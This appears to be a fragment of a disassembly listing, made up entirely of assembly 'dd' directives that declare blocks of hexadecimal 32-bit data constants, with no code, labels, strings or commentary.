		dd 3894C77h, 1067CDABh,	0E0146C87h, 70A854F8h, 0ED4FA90Eh
		dd 718A6770h, 6683A720h, 7856034Bh, 36610C16h, 410F77D1h
		dd 7092D7B8h, 0DA00A004h, 5DFFDFCAh, 17D21794h,	0E798B0h
		dd 41DA7E4h, 116860Dh, 0E70027E6h, 3CEBC1C2h, 6F0703C9h
		dd 10875AE9h, 9A2DE800h, 43B37339h, 0F1ED0068h,	0AC1D1947h
		dd 0F3587EA5h, 2929608Dh, 17F518h, 8DE93734h, 103F0F54h
		dd 1B2F5F00h, 0F3BACA67h, 0B6490074h, 0E0CCD986h, 4E006F8Bh
		dd 3D83AEEBh, 0AB0C065h, 0FD250ED6h, 0EE2D40D4h, 5E3DF2C3h
		dd 3F54000Ah, 65E1BF06h, 3171D6h, 0EB70D9CAh, 643D15BDh
		dd 0E3460201h, 2C0FDD5Fh, 759B9CD8h, 4E758095h,	3AE5FF00h
		dd 1ACE6EB1h, 3E6001B8h, 64FC1189h, 87F0CCAFh, 4C91EC00h
		dd 325F68C0h, 25E70343h, 262DEE76h, 6C20AC60h, 5D4DF4h
		dd 1CB55CB7h, 0FCCE67D1h, 3C07CF00h, 6CE0AC80h,	0C917008Dh
		dd 0F92315CDh, 0DE00D35Eh, 0C26D934h, 0EAEF3ACh, 9216BBCAh
		dd 654D07FCh, 0C0A36033h, 440049E8h, 45D3B7C3h,	85AC7Fh
		dd 0C10464F7h, 4EEE9B7Ch, 79CA1A03h, 91F38Bh, 771B4B70h
		dd 0DC696DB3h, 80D15638h, 2BA51F57h, 7ABF076h, 41D4680Fh
		dd 5EED00D6h, 1F005CBDh, 11CE90E4h, 1540CD27h, 101875C9h
		dd 7F8B9F03h, 0F82CB9CEh, 0E000FFACh, 954FEEFEh, 0C925004Ch
		dd 77F90C18h, 0EB7C482Ch, 5BE8D500h, 0D86336B2h, 89B500CFh
		dd 90CC8151h, 0F0C0218Bh, 33AF8CE0h, 0D20E03DBh, 0D1C1C795h
		dd 28F70800h, 86ACE081h, 5B970FF9h, 0B8C6E815h,	45001837h
		dd 16928970h, 1722E717h, 193D543h, 34EFA728h, 9CFAF4E8h
		dd 2808AE00h, 0D63DA6Bh, 1798015Dh, 0E8D3CD83h,	4AB76026h
		dd 2F55AD00h, 0EB87E529h, 64150059h, 0F4B14606h, 2BE007BBh
		dd 0BF449F03h, 0E8CF896Eh, 40C865h, 20355633h, 8D76A6E7h
		dd 0B43BBC00h, 1BBF5BDEh, 3ADC0745h, 0A047890Bh, 90065AACh
		dd 13245900h, 8284C638h, 0AF20083h, 4CC8E0A8h, 7D0EE129h
		dd 0A018D465h, 0C0375824h, 67F501A3h, 62738E6Fh, 0EA76E091h
		dd 0ADE4C800h, 57A5B84Ch, 9AB20079h, 21B5D50Ch,	980A8B27h
		dd 48C3783h, 0AE304F61h, 5625DDCCh, 4AF70C86h, 183DD830h
		dd 7B0F080Fh, 6D4480B5h, 34841C9h, 25A3F707h, 19109C24h
		dd 8C8246D5h, 71209EBDh, 800AE27Eh, 9944C234h, 47B4219h
		dd 8624059Bh, 7422505h,	0E81AA824h, 0C2FAD8Ah, 87230402h
		dd 43E90284h, 8422FD10h, 1184117Fh, 2186F36Eh, 20278ABDh
		dd 30B91518h, 8D9C180Ch, 18A8C579h, 0CA075C1h, 0C0C1FA21h
		dd 645AAA13h, 0F885ECh,	6F7D887Eh, 38ABC1B2h, 4B79A8A8h
		dd 0E44EB900h, 8EC3BC53h, 80E128C8h, 527D00B8h,	1A42937Ch
		dd 46F66409h, 210090F0h, 0C418EC86h, 751970h, 5852A16Fh
		dd 0B88187F9h, 0FCB69F00h, 29F44A0Ch, 8F0900ADh, 0C2A9E398h
		dd 9001F2A3h, 64B26022h, 4CD061AEh, 8C240034h, 0D6013DF3h
		dd 0A40F28A0h, 82CC63D2h, 90E18345h, 77A4Ch, 85849377h
		dd 0C12D8846h, 95F8F207h, 9F304DD2h, 0EE165283h, 7B413BF6h
		dd 54C1E707h, 5E1C60BCh, 1D033B4Bh, 0BD022470h,	41C0DD27h
		dd 0ADD2652h, 0AE0EB65h, 51C5501Ch, 0AB9B8E87h,	0A4C62C60h
		dd 0E900207Ch, 0F7C53AE1h, 572917F9h, 8EC0C010h, 0EFBC7F4Ch
		dd 10AF03Ch, 0C6FAA699h, 298044F7h, 4DB1642Dh, 2B805431h
		dd 97EE05h, 34BDD89Ah, 0F8AE198h, 5052F875h, 0B857005Ch
		dd 821659DAh, 3203007Ah, 8B8EF16Ch, 4404791Eh, 267DF345h
		dd 56EC51C0h, 71E3002Eh, 0B9A5B7F7h, 0E4546430h, 0B10198BCh
		dd 0A9EE2A82h, 51FC074Dh, 0FEB1E7Ch, 5553C979h,	3845D410h
		dd 7B1A072Eh, 70B8FB00h, 0FA40419Bh, 0BEA629D2h, 4AA7058h
		dd 0F689618Dh, 4C4A80h,	8716AFE7h, 0B891BCC9h, 3F400488h
		dd 907D18DCh, 0A9DBB76Ch, 0FB647012h, 45513847h, 16140ECh
		dd 7BF34ED3h, 8F8FE74Bh, 0A1DB2A31h, 620CAB5Eh,	0CEECD3E9h
		dd 82AA0497h, 98B1E82Fh, 8F21B874h, 0D7DC78F0h,	2746EC00h
		dd 228143CBh, 84DE06E7h, 0D0296690h, 5C670312h,	0ED6CCC00h
		dd 3094857Dh, 0E740F409h, 2A7B9047h, 39CC8801h,	0E6443BE0h
		dd 0D20DC4h, 111764BBh,	0AAE1DD9Ch, 0B759BE00h,	0FA0198AFh
		dd 82C8009Dh, 0FB7C23A7h, 0A90FED49h, 0C19A4D78h, 0ACAAD33Fh
		dd 60B4F9FCh, 6F0B58D1h, 3003998h, 481A3344h, 0EFB6BA4Fh
		dd 3E2BD0h, 0CA76BF7Bh,	2C532DCCh, 0E9A20600h, 6AD4B762h
		dd 0F101513h, 2FFC44E0h, 5808A06Ch, 4A2A000Bh, 6D0C0F27h
		dd 16038FB6h, 80A84609h, 43CAC0AFh, 0F3390091h,	0A2699E71h
		dd 5A00FCE6h, 5B814D94h, 0F7EE62h, 9AE4901Dh, 9B697E63h
		dd 0CC1C7B7Dh, 2C409251h, 85D6E9AFh, 0F7600E6h,	3E18CD5Dh
		dd 0BE609B6Ah, 7E6D5589h, 1CBC785Bh, 4798D463h,	0C540CF3Dh
		dd 27847028h, 0ED38F921h, 1B6F1E2Ah, 0E6D896C0h, 7B3624Ch
		dd 376A4D7Ah, 0BE008E50h, 80554E51h, 94F4EE1Fh,	339064C0h
		dd 6E542h, 0CCB33712h, 0B43CD1B7h, 390003E8h, 92951AA6h
		dd 2A70C10h, 0FF71B3DAh, 0D0A34129h, 0F4D80F50h, 0C3003210h
		dd 21F2E344h, 17145AEh,	6028D542h, 0CC10D6E6h, 6FE2B352h
		dd 65298300h, 27F61EDCh, 599D00FEh, 0CCDF1347h,	0CCA0B2A5h
		dd 0C105349Fh, 69B6DE0Bh, 52149400h, 0B8C095h, 0AB9E9D56h
		dd 0A0890E64h, 26FDF400h, 171B9F3Dh, 0DFE5248Ah, 8983550Ch
		dd 0F00896D8h, 48A68FC3h, 0F08004EAh, 0BE40456Ah, 9EE6D01Dh
		dd 0FCF3030Ah, 0C9F9C55h, 40C8B5C9h, 0F8AD160Ah, 2400F45Dh
		dd 4AE04596h, 3735296Ah, 31C86080h, 72291BA2h, 5F5944E7h
		dd 0FBB7E980h, 2D3A7D9Fh, 0C4F7E0CAh, 168448C0h, 5590A040h
		dd 247906AFh, 20B18EDDh, 0AD668C1Eh, 0C131A61Bh, 21E1C739h
		dd 301120FFh, 4AD6022h,	7D08DBC1h, 502941A7h, 4180FD85h
		dd 0C15594E5h, 23E6F4E0h, 0FED41618h, 72CFF0h, 34E50BA2h
		dd 64951BFFh, 0F04021E5h, 0B000D6DAh, 3BDF7E39h, 332AEh
		dd 91F7C1F2h, 0A5DD05A6h, 0FD1B8003h, 406AE49Eh, 9779C48h
		dd 5EBDF9F4h, 7A030090h, 5DE3800h, 0C36D0EECh, 1C960033h
		dd 1EBD917Eh, 2E00E280h, 0F5B6889Ch, 2EFB2C5Ah,	27338Bh
		dd 56069025h, 0C43C91A5h, 393780E8h, 5A26F72Ah,	0CB965034h
		dd 30F87131h, 783889A8h, 0AB00DDDBh, 0F7DE71CBh, 7BC0A1h
		dd 0EB1A9A65h, 8C0E2861h, 8BAC28C5h, 0B7043Ch, 6F66A508h
		dd 3A510DB1h, 4AA0D366h, 587A41h, 939F6EE1h, 0F237ED36h
		dd 917FFA1Bh, 0E14CB889h, 9E3A00FDh, 73E769D6h,	0B01AEBDh
		dd 144A7BD4h, 44DC9DEBh, 0EC4107CAh, 0C05E54AAh, 81D48BA0h
		dd 0C34E9080h, 5C7E2791h, 0CF6745E8h, 55E00D1Ch, 25F96DC0h
		dd 7742Fh, 7128FFF5h, 6176FA80h, 0CBB808C6h, 0F972C320h
		dd 8488B41Ch, 5C00F7DDh, 0E0FC604Bh, 1CA44667h,	0C0888E94h
		dd 0D0A64589h, 0F6031CA8h, 6567FD22h, 0B4CA125h, 0FAC20BBh
		dd 0C0E61F85h, 6138FAB2h, 3D029FBDh, 9BE01255h,	9D4CA049h
		dd 4628E1F6h, 1D9B2201h, 0F951D6h, 0DC4AC1ACh, 782E79ECh
		dd 25001EB0h, 71337321h, 9F7A06C4h, 187F0C16h, 0B8A52F0Bh
		dd 0EFD280E1h, 1CFDBF06h, 0C0598D76h, 26E86DE9h, 350E4461h
		dd 8C559D84h, 40045877h, 0C600E994h, 0BEEC010Ch, 0F6FA6A9Ch
		dd 8F1E0072h, 0E440E1B5h
		dd 54F8E02Ah, 6C9D6728h, 807E6621h, 1960F6D2h, 828581D9h
		dd 0EBF99FADh, 315BFD40h, 65F0D72Eh, 4BB55E00h,	18A49E91h
		dd 0D196BB30h, 195C7A6Dh, 0FCB506BDh, 18630Dh, 0AD219FBAh
		dd 6B58842Fh, 28C080F5h, 0A8207ED4h, 0A39A03A6h, 0E00129E7h
		dd 0A9944801h, 0B4A5CA21h, 2C23DD4h, 5A85AA1Eh,	0F08095D0h
		dd 0F43F69A0h, 9093F11Eh, 0B6425841h, 23C0F661h, 0F90B80Bh
		dd 1CBEDEB8h, 252160A0h, 0CC00E108h, 9D1DFBF9h,	0D40CC4h
		dd 888D3E5Fh, 0EEA51350h, 0F574D100h, 33CDB709h, 0DAFA0057h
		dd 0AFE06156h, 290F16BEh, 38634D39h, 0C4CB0708h, 452020h
		dd 58295EC4h, 0B210008Ah, 49CA7511h, 0A0002017h, 0F2BB5C2Bh
		dd 786CD748h, 79380161h, 4FB67E7Ah, 90B7E377h, 6DCA034Dh
		dd 0C00AE400h, 6865846Fh, 9DDA18E8h, 4C4A181Ch,	7C001D71h
		dd 0F288BEDDh, 0E2891EC9h, 0CBFB002Fh, 64744801h, 0A700CF54h
		dd 21B0F08Dh, 609BA891h, 0D560D156h, 0AC00C605h, 0AB0D35BDh
		dd 3E13203h, 6FF3B6B4h,	280FF40Fh, 0BF9CA9D8h, 64D54EC1h
		dd 76F08901h, 1BDD004Ah, 1939797Ah, 0DF00B89Dh,	0F9E09916h
		dd 4E0DDAh, 36338FDBh, 6DFF2896h, 0CDA6F0C3h, 15803C2h
		dd 4AFEF818h, 6020F800h, 2795EC8h, 0D7960069h, 621BB7F5h
		dd 0FBF2CAE0h, 7DB5D41Dh, 0C700F3ECh, 5B70B2E8h, 7B81E459h
		dd 3387004Bh, 9D513525h, 0FC1884F5h, 72A212D1h,	49AB0FD6h
		dd 0B0011CB5h, 86D22CD0h, 3CA6FAC8h, 24CE430h, 2F2E1D43h
		dd 3FE0AAFDh, 0E800DD89h, 4F33F33Bh, 2B3F8F1h, 82BB2CFCh
		dd 84816C14h, 58540334h, 0EF028C8Ch, 83E96E99h,	10981116h
		dd 0DD6037h, 0B91C3666h, 432774AAh, 8FA47F3Bh, 6A042BA3h
		dd 480090AFh, 4BD1720Ch, 6C5203B5h, 7D4AFF9Ch, 0E031EB0h
		dd 66B81902h, 45E3BE7Ah, 0C83AC254h, 0BF2618h, 0ED70DDFBh
		dd 66BDE909h, 644E7200h, 0D2A7B5A9h, 15FD0068h,	7C6AF41Bh
		dd 0AF091FE0h, 2E0AF3h,	0A976CD4Ch, 0C0CE79BBh,	0DF2356F8h
		dd 0FD00EA12h, 0B864266Eh, 0ECBC7FCh, 1BA0DC5Bh, 0A5140580h
		dd 19046F35h, 2C934F67h, 0A02E1884h, 20018C79h,	9CA783Bh
		dd 0B180ABC3h, 568872E8h, 75286FC2h, 0DA00E031h, 0CD65BEF8h
		dd 90B707B3h, 8ED21000h, 38688027h, 0F40DF5ABh,	961C44FDh
		dd 0F0BB88h, 9A14B338h,	8FCC6CA2h, 211EDAEEh, 5C2471AFh
		dd 0C39CA3E0h, 70E04994h, 89C0A900h, 0F50EF344h, 431ECF01h
		dd 2026C7ECh, 0E9C2808Fh, 5E44E5C0h, 1A06E249h,	4B31ACCCh
		dd 0AA300C8h, 9CB86742h, 0E150A68Bh, 0AB03FB80h, 0FA2D064Bh
		dd 243CE017h, 90D10029h, 750E403Fh, 48009144h, 0EEA34A07h
		dd 7EF319h, 26AC5ACEh, 30928FC5h, 282CC806h, 0B285EF5h
		dd 7B37E418h, 0AA1A3701h, 6095C8BFh, 7A84200h, 29E477DCh
		dd 0C5760773h, 0F09B2F22h, 96A5D2ADh, 62FD0E00h, 0F0B95E7Ah
		dd 495F0A14h, 832C5C21h, 1AE97402h, 0A36338A7h,	3C200745h
		dd 90FC8BEEh, 0A6B20781h, 5DB78900h, 0E7BE32A3h, 1BCC7417h
		dd 888575E1h, 43A8AAC0h, 0FFC7AE01h, 0F0A93ECAh, 50BB0898h
		dd 43F00417h, 711F0500h, 0CEA29463h, 92361542h,	0FF1E8CECh
		dd 30B0185Bh, 5CF6ED1Ah, 0A6B01561h, 0D6E079AFh, 4B78D8h
		dd 78E12004h, 1E9F60FFh, 0FD5CA703h, 690F13h, 0E18A9230h
		dd 0D80857A0h, 4CD75D00h, 0AF1C3114h, 49CB1A12h, 0A586287Bh
		dd 6801C12Bh, 0C0A7D7B0h, 0EEC8E6A1h, 78CD1DDCh, 0BB2E00EDh
		dd 68EBC73Eh, 0A4FE3500h, 52161054h, 0F2043C72h, 0C230A630h
		dd 3E3E9EBEh, 8DD85Ah, 0ED2BAE85h, 20B898h, 6E7782B0h
		dd 63722719h, 0DF03E03h, 0C0C1E9A8h, 1263D8Dh, 0A539695Ah
		dd 8C748F54h, 20C6DB08h, 269D004Ah, 0D0F4C0B7h,	1CF48B30h
		dd 7F2A8C06h, 0A85303h,	0D787CBC1h, 77F15D55h, 102D7A1Ch
		dd 0E08BDBC6h, 4F720020h, 873557B2h, 0A14CE216h, 78A51F2Fh
		dd 0B4B1E140h, 6912279h, 29A00AF7h, 0D200590Ch,	6DDEF828h
		dd 37857715h, 0A6E032E3h, 4705C00Ah, 9A300D44h,	5014EE00h
		dd 70E2D31Eh, 0F11C008Bh, 6C93C231h, 72F63E54h,	25058898h
		dd 5A031906h, 5D64F381h, 0F567088Ch, 6F0BF20h, 2FC400Fh
		dd 549AC0A7h, 19F1FFE1h, 50CB7FBCh, 252183Dh, 855C1206h
		dd 0AC108B8Fh, 5671000Fh, 5A0BB6A4h, 0C8FB8EC6h, 0E200EAECh
		dd 410D7993h, 1A3E4h, 468FDD83h, 3DFD8CA2h, 3D36039h, 97358456h
		dd 327AE8A5h, 54B91FF9h, 0DA38C027h, 0DE18EC77h, 0CC85E00Bh
		dd 487F8CC5h, 52353E21h, 800DB19Dh, 385457D0h, 461E5F27h
		dd 603A8C83h, 0D60DB084h, 335800A6h, 0F913E4CBh, 95062D79h
		dd 0A39CAF12h, 0A25A0F78h, 0E9876D2Eh, 0FC1E609Fh, 0E200EF90h
		dd 3EB343B0h, 6C30FD4Dh, 0FF8050DDh, 3600FE43h,	5738665Bh
		dd 80444FF4h, 40E64076h, 0D95B4E00h, 0BFC6138Bh, 0CE770381h
		dd 57A3DBA5h, 0B38E71D0h, 70D8A734h, 0E1449800h, 7AC53D1Ch
		dd 577C3F90h, 0BC18F33Ah, 0E92A20ACh, 0C6382703h, 0D28B3Fh
		dd 19641CD0h, 0B646A692h, 5B39200Fh, 32F80C0h, 0EEBA78h
		dd 2DB0E440h, 5AD6AB3Dh, 0E58AC560h, 307F19BEh,	2ED0703Bh
		dd 1A00A685h, 2D8C020Ah, 2B9D1D3h, 0C877DBF4h, 0E8805218h
		dd 2E9306B0h, 32C4605h,	3040AEFCh, 1D3AA2A9h, 10804325h
		dd 0AA005F82h, 37C3AC11h, 153B430Bh, 75EC182Fh,	0CF8959h
		dd 8AE0933Ah, 785F1624h, 54903401h, 997E2BE6h, 6C87D8h
		dd 0D0F31BB9h, 0D26885A3h, 35398D03h, 9841BBF6h, 0E2C287h
		dd 0A17E771Bh, 481CA61h, 0A9246500h, 0BDA31507h, 0A648004Eh
		dd 0BDEB651h, 9F008AEDh, 6750EA4Fh, 2631A46Eh, 3BA273h
		dd 0AF1647C3h, 201D3A0Eh, 4ADFFF92h, 34762A00h,	0B60C7Fh
		dd 4C506CDAh, 3A590F15h, 9290DC1Eh, 931B941h, 0F3C744h
		dd 88E804E0h, 87166C42h, 5226BE00h, 0EB7A51CBh,	87100F9h
		dd 41D15F92h, 0F60739DEh, 57915A3Ah, 1547B957h,	2CDB5CA0h
		dd 51767Eh, 1D553741h, 0DDC2CFFEh, 47938100h, 42787FB9h
		dd 751C00A7h, 8A4B23F7h, 9DF4463Dh, 2EC80303h, 80516358h
		dd 24528C32h, 87D4B4D3h, 0E725826Dh, 75DB0011h,	2048CCAAh
		dd 89E90065h, 1EA0DEA8h, 21260108h, 61E8F4C4h, 80A2FD13h
		dd 73A5F841h, 1F211564h, 703DD16h, 10E31CB9h, 0B529D683h
		dd 4730E271h, 8BB008A3h, 0DE2D0063h, 574B6453h,	2600DC9Ch
		dd 4C89CFD9h, 7915D09h,	0CD075BCAh, 4E2AC0A8h, 5E0470E2h
		dd 349E1D3Bh, 2E2F5C90h, 65400080h, 1E297B62h, 5D034BA4h
		dd 99A2DCF9h, 4E2F863h,	0BBB500C9h, 3106E8B1h, 0AAF86103h
		dd 5ACD940Fh, 62812345h, 38C08725h, 0E29A7EBFh,	40A81FB1h
		dd 0D3313343h, 9FC0A4C0h, 0D5187E7Eh, 0AB18EC28h, 0F4924025h
		dd 45474211h, 9A490300h, 410AA95Fh, 93A3513Bh, 0EF6512h
		dd 7BB56911h, 100085BFh, 0AC4119F3h, 398FF858h,	0F00008FBh
		dd 0CF1FE6D5h, 373E6FECh, 9DA07250h, 85E861C7h,	0EBB27502h
		dd 0E05FDC77h, 123029h,	95DFBD57h, 69DAED7h, 5E49200h
		dd 0FF85B37Ah, 14810090h, 0CF3995E1h, 0E200ABD0h, 0FB06ADE0h
		dd 249648Fh, 92110BF1h,	2C10516h, 0D30CFCE6h, 772870C0h
		dd 0F01089F6h, 0BDB61833h, 4F2A31BEh, 87B5D73Ah, 0DB36A0FDh
		dd 0AE506E20h, 0BF70C198h, 78132033h, 0D60C70D6h, 3193CE79h
		dd 38A40296h, 99E2706Eh, 9D5A4130h, 504B36E1h, 99457618h
		dd 4232CACh
		dd 0F9BBBB01h, 71B0859Eh, 5898B909h, 6D475730h,	0C0D3B60Bh
		dd 75787103h, 649451A2h, 0D5F92C11h, 0DE621680h, 6E32910Fh
		dd 0B9450834h, 38FE4768h, 8A8552F6h, 6730FA24h,	0FC65056h
		dd 0C407DCB1h, 0A199F085h, 7789C4Ah, 4AFB20BBh,	0A10A5806h
		dd 57418B36h, 0AC1068B9h, 963199F3h, 3E0FD620h,	30D6FD31h
		dd 0C8B2A71Ah, 0B9763021h, 63184AC4h, 0CC27BC60h, 0E68DD661h
		dd 427FB085h, 6F111598h, 0D756D49Eh, 8EB61838h,	7492F140h
		dd 7F110476h, 8F906E39h, 403E2910h, 0CF1E1686h,	0C9F73A78h
		dd 0C5CBD10Ch, 0B0A0DA08h, 9E495C70h, 0B0F7A21Ch, 56E0F648h
		dd 4C848079h, 82567039h, 0FE30CCC3h, 1E487180h,	46B1013Ch
		dd 0C1708A73h, 17F0088Ah, 9C910DACh, 75004330h,	0A8E51033h
		dd 98704730h, 0CC246789h, 9084814Dh, 11F89D40h,	2E511060h
		dd 0C47128DEh, 0BD24BEF8h, 0AC78E085h, 6712F344h, 19AFDA23h
		dd 48BCED58h, 0F1342014h, 0A09177E6h, 0B5F1A0CDh, 3E02761Ch
		dd 95108A29h, 2CBC05C4h, 6015F4E4h, 0F1C378Eh, 60DB27D6h
		dd 40E24905h, 0C3BC912Dh, 34A27757h, 9F41CAAh, 18168582h
		dd 2A198C77h, 0C6115F91h, 495A05F2h, 848047DCh,	0C55D3B0h
		dd 5BBEB11Dh, 6360FC29h, 2416FE35h, 2C00155h, 8CB6DFD8h
		dd 5FEC38B0h, 540FBA12h, 198BC41h, 804A0CB7h, 14D4AC3Dh
		dd 1CA34176h, 0F7111928h, 0D610A955h, 9AC01A5h,	0BBECB6FEh
		dd 8F1184Ch, 5D7E2A72h,	0A8AEB60Ah, 0E91C2506h,	62320330h
		dd 0FF6B106Eh, 20B0F0A2h, 4810D773h, 160137A3h,	6560D4E3h
		dd 0E5A1EBE1h, 50388CCFh, 0AC10082Ch, 62F21D6Ch, 0F641F092h
		dd 80D0D8CFh, 0FCABA0A8h, 663A2AF0h, 0A87463C4h, 28A582E5h
		dd 0BA0AE018h, 0C06D5042h, 69DF589h, 0F08EF6Ch,	609E2CF0h
		dd 2FA0A034h, 0B531A698h, 0EC96383Eh, 9C463000h, 0B3C01891h
		dd 0A8892810h, 2B8776F4h, 8174859Fh, 2BD9C994h,	0D6288960h
		dd 0B8C38BAh, 0F0E518A7h, 0CFB62071h, 6448AD62h, 1A8C7AAh
		dd 18431DCCh, 16309E72h, 966E9E09h, 2A95F258h, 14843A0Ah
		dd 0C49DF2F6h, 2B60F3E0h, 284BCB30h, 99D5B856h,	1F21CE80h
		dd 54C9B18Dh, 0C7C0AEACh, 98263F50h, 0AEF4375Ch, 0AC09FCB8h
		dd 0F824D092h, 58260CD9h, 0F2A00D50h, 0B84754A6h, 85B200F0h
		dd 8A2514D0h, 40DEAAB0h, 0F4A2984Ah, 2C540912h,	7835A044h
		dd 0C458529Bh, 197FA800h, 0B75CB971h, 86ADC003h, 0A81E72C3h
		dd 3AC421h, 23B640B4h, 0E6910EC1h, 6032E0Ah, 0B26018CFh
		dd 40CB8320h, 900D6BFh,	0BAEC56EBh, 474DE317h, 50480EB6h
		dd 149083Ah, 56A78376h,	1D001A8Ch, 0AF91568h, 10091D6h
		dd 1B67D093h, 7527153h,	0E6E88F0h, 1284C02Bh, 1D08247Dh
		dd 7F2A9Fh, 0AFD18BA1h,	14A68F77h, 0E29D0504h, 410061D4h
		dd 0BB7CFCF4h, 8E259E3Fh, 8A22983Bh, 0DFC01C1Bh, 405544A4h
		dd 0C903E10Dh, 0FC3B7CF3h, 351BA0FDh, 4E10C5FBh, 701C202Bh
		dd 0F144AB8Ah, 26483D81h, 88CFB8Fh, 78C55BE6h, 984E7B10h
		dd 18115C18h, 77C94D4h,	0FB280A61h, 188A1C22h, 43302AD0h
		dd 0CB88B477h, 911CD5E7h, 48B3E221h, 3C6874B1h,	0BB182B67h
		dd 0CCFB0873h, 17C423Ah, 3B06D529h, 5BD0CFF9h, 0F8E7785Dh
		dd 901562B5h, 888017F5h, 0DB079D48h, 30ABAD31h,	0C1D3D824h
		dd 108CF63Ah, 0AF8F788h, 5B67D906h, 63380350h, 3EBB184Dh
		dd 82DBB839h, 9CD0522Fh, 3260906Fh, 0A1DC149Bh,	0C1119086h
		dd 0F247184Fh, 0B84E04A8h, 364A30DCh, 6DFC608h,	90A3D8F0h
		dd 152BCE1h, 0DC4E26FFh, 0ACE42906h, 612861AFh,	7B01F05Fh
		dd 5B7CF9EFh, 0DBD0B2FDh, 25E10EDAh, 6801A410h,	9B28651Bh
		dd 0A0802D58h, 3C06E166h, 0E0E33B7Bh, 0D8680284h, 4F58FC09h
		dd 6FB222AEh, 2C530124h, 9B78EE98h, 0D5A183D7h,	5E088AFCh
		dd 9D15D46Eh, 6B22C090h, 807F59DDh, 277BBEA1h, 8BA9B31h
		dd 0F841F25Bh, 118CB43Bh, 5A50CF22h, 29A00763h,	0E4181424h
		dd 0F81DC8B6h, 0D07B06EFh, 0F6490841h, 0B4C91208h, 98D6640Ch
		dd 1860615Bh, 9898727Bh, 0BB30CC70h, 0FB10C7C0h, 8FB01C63h
		dd 0DAA86F50h, 1804EA48h, 4438BD32h, 0BC66812Ah, 2F381808h
		dd 0C42E1790h, 5552608h, 8C0C0621h, 0A9CA0934h,	988D5B0h
		dd 24005583h, 268BC761h, 3C6BE836h, 4B112E66h, 3032105Ah
		dd 0C6A62D01h, 1CC11ABh, 0BE0A440h, 1FD07C73h, 7CD772Bh
		dd 0CECBFD6Bh, 0C70EA24Eh, 0EB10AFCCh, 0C03903Ch, 834D9ABh
		dd 6BF38379h, 118B600Ch, 0E1CE0802h, 18079503h,	0BD22B02Bh
		dd 0A02DAE43h, 0F053DA0Bh, 79963ECBh, 4FA54B0Ch, 777C7810h
		dd 0C12CAB0Fh, 528787D8h, 15FEBC3h, 88A62B28h, 0BEFE0BD9h
		dd 0DAF70F08h, 1E2387D8h, 50984BC0h, 0E98B00BDh, 0C5609BE8h
		dd 0EB18DA7Ch, 0EAA875CAh, 0A808CC66h, 0C31AB10h, 9B7EA837h
		dd 60388041h, 104F1898h, 566304CBh, 1883A8B0h, 0A0118480h
		dd 28C6954Ch, 311809E5h, 77585DD1h, 0BDF0A606h,	5EBBC03h
		dd 78ABA3E5h, 4F0B18FAh, 71E18E3h, 3DA1A8C7h, 4356B47h
		dd 5325DC06h, 5A53148h,	0F131A408h, 122D1EBh, 0BF00C95h
		dd 80336269h, 0EC837EE7h, 407E0AC9h, 5B83A400h,	0EDBFD2BCh
		dd 0C400050h, 3FECCDD4h, 28664BF3h, 90609628h, 0CE8DD5Ah
		dd 0DE08C845h, 4B180090h, 0C4687493h, 3918C598h, 0DB8804D1h
		dd 0AC04819Eh, 429841D6h, 0BC1090B8h, 0A871AB18h, 0CA63156Bh
		dd 0E7A59A10h, 0E7207B8Fh, 37B06496h, 1450A459h, 5B1405C2h
		dd 80979C0Ch, 89A2708Bh, 14E803CBh, 0B4EA6B10h,	3C0A4874h
		dd 328E8B0Ch, 2672250h,	2A08CB08h, 0DDEB1248h, 0AB200957h
		dd 0C913C0Fh, 87EE80Bh,	32C908Ah, 0D8E4EE6Bh, 1812C28Bh
		dd 3003A3EBh, 0A68C9DCBh, 0F9BF4E8h, 0DA7F76A0h, 0A04AFB06h
		dd 8616C32h, 0B4850F03h, 0B1AC0C07h, 99334B10h,	0CF1504Ch
		dd 110A8B08h, 0E48D310h, 0F8043124h, 3981AECBh,	6BBCE0BAh
		dd 0E1142175h, 0C0FC52DBh, 642EECB8h, 0A2409378h, 792B2013h
		dd 8BB8B061h, 1C4A4189h, 0DCD20C5Bh, 5E303339h,	0ABC1C07Fh
		dd 738B18BCh, 0DFA78DEh, 600590C2h, 9820A084h, 239ECE8h
		dd 533FEB0Bh, 34947D7Bh, 61CD1804h, 730299FEh, 0D8847BF3h
		dd 4B40C101h, 3D099263h, 182B4803h, 90482427h, 96193A48h
		dd 204FD074h, 76288B24h, 93F7946Fh, 5C443A21h, 30049EE4h
		dd 0B9C906CFh, 0A3493110h, 8C677228h, 10D1EAC8h, 20809A23h
		dd 7561CB2Ah, 0A59C8B20h, 0CF545088h, 18C2B808h, 0FCB808Ah
		dd 4E27E45h, 1284D151h,	30B20131h, 0BA229002h, 35F022Eh
		dd 0F9486E04h, 7EAF88h,	0CBBCDB53h, 0F9815023h,	1DAB1889h
		dd 0D16380A4h, 182A77Ch, 24207838h, 0CB30C483h,	178D1C0h
		dd 6954208Fh, 8D181A63h, 0ED603355h, 83CFC41h, 0EB3063ABh
		dd 351910C1h, 55961053h, 8CC02426h, 32101C8Bh, 10A4E94Ch
		dd 897D7E52h, 78098AF7h, 7D0CA49Fh, 406B7011h, 6848DA09h
		dd 0B7831480h, 331A19A0h, 90347010h, 0F85F5004h, 1008DE64h
		dd 20B1274h, 0CC6B7C00h, 3B75D7Dh, 775CDF5Ah, 0F7C04E8Dh
		dd 260EC386h, 80F629D7h, 39B6B9B7h, 0ABC1D17h, 0DC830C27h
		dd 0B17C4310h, 0CC379713h, 0F33AF8ACh, 0C61AE677h, 81C0C28h
		dd 0FF4343Eh, 83060197h, 0E30D1137h, 18048BD7h,	40FBA820h
		dd 0E1E9D101h, 0C60F045h, 82FC430h, 0E27CED4Fh,	56CF00ABh
		dd 52A5B537h, 8C00AD09h
		dd 0F6DDE474h, 0A6BC6DD2h, 0E9331C10h, 0F28C80EBh, 41ED0DD2h
		dd 7BC6D419h, 3DFD4608h, 1C5886E1h, 0B4440C83h,	0AD58D736h
		dd 0D45F3800h, 0A210E9E6h, 2B2F3A86h, 4255A60Dh, 7C4C1848h
		dd 21C62908h, 254D0CC3h, 0F9038640h, 3026A205h,	41A6C066h
		dd 0D758C66Bh, 0A85308ECh, 91F30024h, 0F7A18908h, 0B2ED10D2h
		dd 4D5F1842h, 5756F178h, 22031CA2h, 0D9FBFCBBh,	0CD8D800Ch
		dd 60547046h, 101C28CEh, 3D3D0D6Dh, 2EE08048h, 4FF0ED43h
		dd 7EE0E39h, 878683F1h,	671F0802h, 0A707FC30h, 27C0B09Ah
		dd 1DE959C9h, 7426DC2h,	8E5E8B22h, 183855CFh, 10C45417h
		dd 0C7075BF6h, 8602C140h, 0A189844h, 74B34750h,	6016FE9Fh
